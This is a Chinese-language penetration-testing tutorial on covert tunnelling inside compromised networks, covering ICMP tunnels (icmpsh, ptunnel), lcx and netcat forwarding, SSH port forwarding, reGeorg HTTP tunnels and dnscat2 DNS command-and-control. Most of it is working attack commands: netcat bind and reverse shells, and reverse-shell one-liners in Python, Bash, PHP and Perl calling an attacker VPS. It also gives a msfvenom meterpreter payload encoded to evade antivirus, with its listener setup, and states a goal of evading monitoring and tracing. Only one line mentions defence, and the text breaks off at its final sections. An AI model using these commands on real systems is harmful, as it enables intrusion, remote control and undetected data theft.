隱蔽通信隧道基礎知識
經過前面信息收集的學習,知道了我是誰,我在哪,那么這章主要是我能去哪?
1.對進出口的流量是否連通的判斷(判斷內網的機器是否連通外網)
2.在非受信任的網絡如何實現安全的傳輸
3.使用隱蔽的手段,逃避安全監測措施和溯源追蹤
什么是隧道:
隧道是繞過防火牆端口屏蔽的一種通信方式,防火牆兩端的數據包 ,通過防火牆所允許的數據包類型或者端口進行封裝,然后穿過防火牆,與對方進行通信。當被封裝的數據包到達目的地,進行還原。
比如防火牆只開放了53端口,只允許DNS協議通過,這時可將數據封裝在DNS協議里面,從內網發出去,在外面再進行解封裝。即可實現隱蔽通信。
常用的隧道技術:
- 網絡層:IPv6隧道、ICMP隧道、GRE隧道
- 傳輸層:TCP隧道、UDP隧道、常規的端口轉發。
- 應用層:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道
內網連通性判斷
判斷內網的連通性是指判斷主機能否上外網等。常見的允許流量流出的端口有80、8080、443、53、110、123等。
1 ICMP協議
- ping:命令:ping <IP地址>
2 TCP協議
-
netcat:“瑞士軍刀”,簡稱“nc”。通過使用TCP/UDP的網絡連接來讀寫數據。使用命令:nc -zv <IP 端口號>
nc -zv 192.168.1.7 80
3 HTTP協議
- curl:curl是一個利用URL規則在命令行下工作的綜合文件傳輸工具。unix自帶,windows需要下載。
- 使用命令:curl < IP:端口號 >
4 DNS協議
- nslookup(windows)
- dig(linux)
5 代理服務器
有時候企業辦公網利用代理服務器進行上網,判斷方法:
- 查看網絡連接
- 查看主機名是否有”proxy“的主機
- 查看IE的代理
網絡層隧道
1 IPv6隧道
2 ICMP隧道
只要可以ping通,就可以嘗試建立ICMP隧道,將數據包封裝在ICMP里面,
ICMP隧道工具有PingTunnel,icmptunnel,Icmpsh,powershell icmp等
A.icmpsh
安裝步驟:
git clonehttps://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 關閉本地系統icmp的應答接下來進入目錄運行,輸入./icmpsh_m.py 192.168.1.9 192.168.1.7 注意這里192.168.1.9代表目標主機的公網IP
在目標主機輸入:
icmpsh.exe -t 192.168.1.9 -d 500 -b 30 -s 128 內網主機輸入,可以連接成功,得到shell。
B.pingtunnel
上面的場景,192.168.1.0/24 代表外網,1.1.1.0/24表示內網,這里模擬的場景是黑客通過WEB獲得了WEB服務器的權限。然后通過內網滲透獲取數據庫服務器的密碼。 但是發現不能進行訪問,只能ping通。這里用到ICMP隧道技術。
首先在外網的服務器VPS,和WEB服務器 安裝一下icmp隧道工具。
下載地址:freshmeat.sourceforge.net/project/ptunnel
安裝流程:
1.安裝編譯
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install2.缺少pcap.h
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure3.yacc包錯誤
Sudo apt-get install –y byacc
./configure
make
sudo make install
運行ptunnel
服務器:
ptunnel -x shuteer
VPS:
ptunnel -p 192.168.1.11 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
參數說明:
-x 指定 icmp 隧道連接驗證密碼
-lp 指定要監聽的本地 tcp 端口
-da 指定要轉發到的機器的 ip 地址
-dp 指定要轉發到的機器的 tcp 端口
-p 指定icmp隧道另一端機器的 ip 地址
所以這條語句的含義是 Web服務器 (192.168.1.11) 會把訪問內網數據庫服務器(1.1.1.10)的3389端口的數據包封裝在ICMP隧道里,傳給外網VPS服務器的1080端口,在訪問攻擊者的VPS服務器 192.168.1.9的 1080端口時,會收到相應的數據包。
防御措施:Wireshark 數據包分析,惡意流量分析。
傳輸層隧道技術
1 lcx端口轉發
1.lcx端口轉發
A.內網端口轉發
目標機器:lcx.exe –slave 公網主機ip 4444 127.0.0.1 3389
VPS:lcx.exe –listen 4444 5555
B.本地端口映射
lcx -tran 53 目標主機ip 3389
2 netcat
下載鏈接
LINUX:
sudo yum install nc.x86_64
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
WINDOWS:
Nc:https://joncraton.org/files/nc111nt.zip
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip
參數說明:
-d 后台模式
-e 程序重定向
-g <網關> 設置路由器躍程通信網關,最多可設置8個;
-G <指向器數目> 設置來源路由指向器,其數值為4的倍數;
-h 在線幫助;
-i <延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口;
-l 使用監聽模式,管控傳入的資料;
-n 直接使用IP地址,而不通過域名服務器;
-o <輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;
-p <通信端口> 設置本地主機使用的通信端口;
-r 隨機指定本地與遠端主機的通信端口;
-s <來源位址> 設置本地主機送出數據包的IP地址;
-u 使用UDP傳輸協議;
-v 詳細輸出;
-w <超時秒數> 設置等待連線的時間;
-z 將輸入輸出關掉,只在掃描通信端口時使用。
Banner信息抓取
nc –nv 192.168.123.103 21
連接到遠程主機
nc -nvv 192.168.11.135 80
端口掃描
nc -v 192.168.11.138 80
nc -v -z 192.168.11.138 20-1024
端口監聽
Nc -l -p 9999
文件傳輸
Nc –lp 333 >1.txt
Nc -vn 192.168.1.4 333 < test.txt –q 1
獲取shell
shell連接有兩種:正向shell和反向shell
正向shell,指的是客戶端連接服務器,客戶端想獲取服務器的shell,稱為正向shell。即控制方主動發起連接去連接被控制方。
反向shell,指的是客戶端連接服務器,服務器想獲取客戶端的shell,稱為反向shell。即被控制方主動去連接控制方。
一般從外網搞內網用的都是反向shell,而在內網里面用的是正向shell。
1.正向 shell
目標主機監聽:
Nc -lvp 4444 -e /bin/sh //linux
Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows本地主機:
Nc 192.168.1.11 4444
2.反向 shell
本地主機監聽:
Nc -lvp 9999
目標主機:
Nc 192.168.11.144 9999 -e /bin/sh //linux
Nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows
目標主機沒裝netcat,如何反向shell
1.python反向shell
VPS上監聽端口:
Nc -lvp 2222
目標主機上執行:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.Bash反向shell
VPS上監聽端口:
Nc -lvp 4444
目標主機上執行:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
3.PHP反向shell
VPS上監聽端口:
Nc -lvp 2222
目標主機上執行:
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
4.Perl反向shell
VPS上監聽端口:
Nc -lvp 4444
目標主機上執行:
perl -e ‘use Socket;\(i=”192.168.1.4″;\)p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
內網代理
外網VPS服務器,通過內網WEB服務器,獲取內網數據庫服務器shell
1.VPS監聽端口
nc -lvp 3333
2.目標服務器執行
nc -lvp 3333 -e /bin/sh
3.邊界服務器執行
nc -v 192.168.1.4 3333 -c
“nc -v 1.1.1.200 3333
邊界服務器相當於做了代理,將目標數據庫服務器的shell權限轉移給外網VPS服務器。
應用層隧道技術--SSH隧道
什么是SSH?
SSH 端口轉發能夠提供兩大功能:1.加密 SSH Client 端至 SSH Server 端之間的通訊數據。2.突破防火牆的限制完成一些之前無法建立的 TCP 連接。
常規操作
ssh root@192.168.1.1 –P 22
密碼登錄過程
1.遠程主機收到用戶的登錄請求,把自己的公鑰發給用戶
2.用戶使用該公鑰,將登錄密碼加密后,發送給遠程主機。
3.遠程主機用自己的私鑰,解密登錄密碼,如果密碼正確,就用戶登錄。
本地端口轉發
原理:
VPS 攻擊服務器,不能直接訪問內網設備的數據庫服務器,但是可以訪問WEB服務器,所以可以通過WEB服務器作為跳板,通過WEB服務器訪問數據庫服務器,然后再將數據傳出來。
配置:
Vi /etc/ssh/sshd_config SSH配置文件
AllowTcpForwarding yes 是否允許轉發TCP協議GatewayPorts yes 是否允許遠程主機連接本地轉發端口
PermitRootLogin yes 是否允許root登錄
PasswordAuthentication yes 是否允許使用基於密碼的認證
TCPKeepAlive yes 保持心跳,防止 ssh 斷開service ssh restart /etc/init.d/ssh restart
利用:
在VPS服務器執行以下命令:
格式: ssh –L 本地端口:目標主機:目標端口 jump主機
示例:$ ssh -L 2121:1.1.10:21 root@192.168.1.11
ssh –CfNg –L 2121:1.1.1.10:3389 root@192.168.1.11
連接后需要輸入WEB服務器的密碼netstat -tulnp | grep "2121" 查看本地端口是否連接
rdesktop 127.0.0.1:2121 訪問本地系統的2121端口
常見建立ssh隧道所用到參數說明:
-C 壓縮傳輸,加快傳輸速度
-f 將SSH轉入后台執行,不占用當前的shell
-N 建立靜默連接(建立了連接,但是看不到具體會話)
-g 允許遠程主機連接到本地用於轉發的端口
-L 本地端口轉發
-R 遠程端口轉發
-D 動態轉發(socks代理)
-P 指定SSH端口
借助WEB服務器做跳板,下面是原理圖:
msfvenom實戰:
msfvenom是凈荷生成和編碼的組合,取代了 msfpayload 和 msfencode ,編碼是為了免殺
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=192.168.1. 1 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe
msfvenom 常規選項用途:-l 列出所有可用的載荷列表(payload), -l payloads
-p 選擇一個payload,也可以使用自定義payload, 支持全平台
-f 生成文件格式, --help-formats,可查看支持的所有輸出格式
-e 編碼方式,-l encoders,可查看支持可使用編碼器
-i 編碼的次數
-a 系統架構,默認X86,指定目標平台:--platform xxx,--list platform
-b 在生成的Payload中避免出現的值,添加這個參數,msfvenom 將會自動尋找合適的編碼器來編碼 Payload
-x 允許我們指定一個自定義的可執行文件作為模板,也就是將木馬捆綁到這個可執行文件上
-k 當模板被執行時,payload自動分離並注入到新的進程中,一般和-x選項一並使用
-o 指定創建好的payload的存放位置
-h 幫助
在VPS主機上:
1.設置一個反向Payload,VPS做好監聽
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=1.1.1.155 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe生成rever.exe 程序,然后可以復制到需要反彈的內網主機上
2.運行MSF
set payload windows/meterpreter/reverse_tcp_rc4_dns
set lport 53
set lhost=1.1.1.155
set rc4password shuteer
set exitonsession false
show options
exploit -j
邊界服務器上開啟端口轉發,見上面的配置
在目標主機
ssh –L 本地端口:目標主機:目標端口 jump
ssh -CfNgL 53:192.168.1.10:53 root@1.1.1.116 -p 22
然后將生成的rever.exe 程序,復制到想要連接的內網主機上執行。(可以是DC,也可以是其他主機)
在VPS主機執行
sessions 查看連接
sessions -i 1 進入主機,可以執行shell命令
遠程端口轉發
相比較於本地端口轉發,跳轉主機沒有外網IP地址,但是可以訪問外網。因此,VPS服務器不能訪問它。
所以要用內網的主機,去訪問外網VPS。下面的遠程主機端口,是VPS的端口。
利用:
在web服務器端執行以下命令:
格式: ssh –R 遠程主機端口:目標主機:目標端口 遠端VPS主機
示例:$ ssh -R 2121:1.1.1.10:3389 root@192.168.1.4
動態轉發
建立一個SSH加密的SOCKS 代理通道,任何支持這個協議的程序都可以使用這個通道進行代理訪問。比如:買一台海外服務器,通過這個可以進行訪問。
在VPS 服務器執行命令:
ssh -D 7000 root@192.168.1.11
應用層隧道技術--HTTP/HTTPS協議
使用工具:reGeorg
下載地址:https://github.com/sensepost/reGeorg
reGeorg工具有PHP,JSP,ASPX等web腳本,將腳本文件上傳到服務器中,使用kali本地訪問遠程服務器的tunnel.jsp腳本文件,返回后利用reGeorgSocksProxy.py腳本監聽本地9999端口,即可建立一個通信鏈路
python reGeorgSocksProxy -u http://[服務器IP:端口]/tunnel.jsp -p 9999
建立隧道后,在使用ProxyChains之類的工具,訪問目標的資源
應用層隧道技術--DNS隧道
原理:
DNS協議是一種請求/應答協議,可應用於應用層隧道技術。將數據封裝在DNS查詢響應數據包里面,進行通信。比較隱蔽,可繞過防火牆的攔截。
用戶管理僵屍網絡和進行APT攻擊的服務器叫做C&C服務器(Command and Control Server,命令及控制服務器)。C&C節點分為兩中種,一種是C&C服務端(攻擊者),另一種是C&C客戶端(被控制的計算機)。C&C通信是指植入C&C客戶端的木馬或者后門程序與C&C服務端上的遠程控制程序之間的通信。
DNS隧道的工作原理很簡單:在進行DNS查詢時,如果查詢的域名不在DNS服務器本機的緩存中,就會訪問互聯網進行查詢,然后返回結果,如果互聯網上有一台定制的服務器,那么依靠DNS協議就可以進行數據包的交換,從DNS協議的角度來看,這樣的操作只是一次次地查詢某個特定的域名並且得到解析結果,但其本質的問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字符串,包括加密的C&C指令。簡單地說,就是將其他協議封裝在DNS協議中進行傳輸。
DNS隧道工具--Dnscat2
dnscat2:它使用DNS協議創建加密的C&C通道,通過預共享密鑰身份驗證。該工具客戶端是由C編寫,服務端是由Ruby編寫的。它有兩種模式:直連模式:客戶端直接向指定的IP地址的DNS服務器發起解析請求。中繼模式:DNS通過互聯網的迭代查詢,指向指定的DNS服務器。
在使用該工具的時候需要先部署域名解析,測試部署是否成功。安裝服務端。
啟動服務端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用預共享的密鑰進行生成驗證一面中間人攻擊 -e:規定安全級別,open表示服務端允許客戶端不進行加密 --no-cache表示禁止緩存,必須要添加該選項
如果是直連模式:sudo ruby ./dnscat.rb --dns server=127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示監聽本地的53端口,自定義連接密碼是ms08067.com
在目標主機上安裝客戶端:測試是否連通於服務端:dnscat.exe --ping vpn.360bobao.com
客戶端連接服務端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com
如果服務端使用的是直連模式:dnscat --dns server=
當客戶端和服務端連通之后就可以執行命令了
具體詳情請參考內網安全攻防這本書
DNS隧道工具--iodine
總結
下面是關於各種隧道技術的總結與比較: